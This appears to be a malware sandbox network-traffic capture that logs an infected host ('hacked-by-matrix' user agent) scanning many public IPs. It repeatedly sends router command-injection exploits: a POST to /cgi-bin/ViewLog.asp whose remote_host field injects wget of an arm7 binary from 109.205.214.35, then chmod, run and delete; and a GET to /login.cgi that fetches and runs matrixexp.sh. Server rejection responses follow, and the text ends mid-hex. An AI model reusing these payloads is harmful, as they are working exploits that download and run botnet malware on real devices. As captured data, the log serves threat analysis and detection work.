Mar 21, 2024 05:17:28.413245916 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.501041889 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:31.644766092 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:35.996160984 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:44.698973894 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:02.360656023 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.176373959 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	48242	80.41.167.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.506891012 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.742146015 CET	322	IN	HTTP/1.1 401 Unauthorized Content-Type: application/json Content-Length: 48 Date: Thu, 21 Mar 2024 04:17:36 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Data Raw: 7b 0a 20 20 20 22 72 65 73 75 6c 74 22 3a 20 22 49 6e 76 61 6c 69 64 20 55 73 65 72 6e 61 6d 65 20 6f 72 20 50 61 73 73 77 6f 72 64 22 0a 20 7d Data Ascii: { "result": "Invalid Username or Password" }

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	38900	86.61.67.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.541363955 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.749121904 CET	412	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:20:13 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=180, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	52150	213.3.9.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.541510105 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:27.731120110 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:01:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	56936	200.196.152.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.553168058 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.734462976 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.964543104 CET	396	IN	HTTP/1.1 403 Forbidden Cache-Control: no-cache Connection: close Content-Type: text/html; charset=utf-8 Pragma: no-cache Content-Length: 247 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 52 65 6a 65 63 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 72 65 6a 65 63 74 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 75 6c 74 20 77 69 74 68 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 62 72 3e 3c 62 72 3e 59 6f 75 72 20 73 75 70 70 6f 72 74 20 49 44 20 69 73 3a 20 31 32 39 33 33 39 36 39 31 39 39 37 37 30 34 36 32 39 34 36 3c 62 72 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 27 3e 5b 47 6f 20 42 61 63 6b 5d 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.<br><br>Your support ID is: 12933969199770462946<br><br><a href='javascript:history.back();'>[Go Back]</a></body></html>
Mar 21, 2024 05:17:33.201116085 CET	396	IN	HTTP/1.1 403 Forbidden Cache-Control: no-cache Connection: close Content-Type: text/html; charset=utf-8 Pragma: no-cache Content-Length: 247 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 52 65 6a 65 63 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 72 65 6a 65 63 74 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 75 6c 74 20 77 69 74 68 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 62 72 3e 3c 62 72 3e 59 6f 75 72 20 73 75 70 70 6f 72 74 20 49 44 20 69 73 3a 20 31 32 39 33 33 39 36 39 31 39 39 37 37 30 34 36 32 39 34 36 3c 62 72 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 27 3e 5b 47 6f 20 42 61 63 6b 5d 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.<br><br>Your support ID is: 12933969199770462946<br><br><a href='javascript:history.back();'>[Go Back]</a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	53108	200.238.147.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.576174021 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	55410	200.187.83.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.806893110 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.035200119 CET	224	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Type: text/plain Server: proxygen-bolt Date: Thu, 21 Mar 2024 04:17:27 GMT Connection: keep-alive Content-Length: 0
Mar 21, 2024 05:17:28.035473108 CET	1286	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:17:27 GMT Connection: close Content-Length: 2959 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 20 7c 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 61 67 65 3d 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 31 38 32 33 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 61 65 64 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 41 72 69 61 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 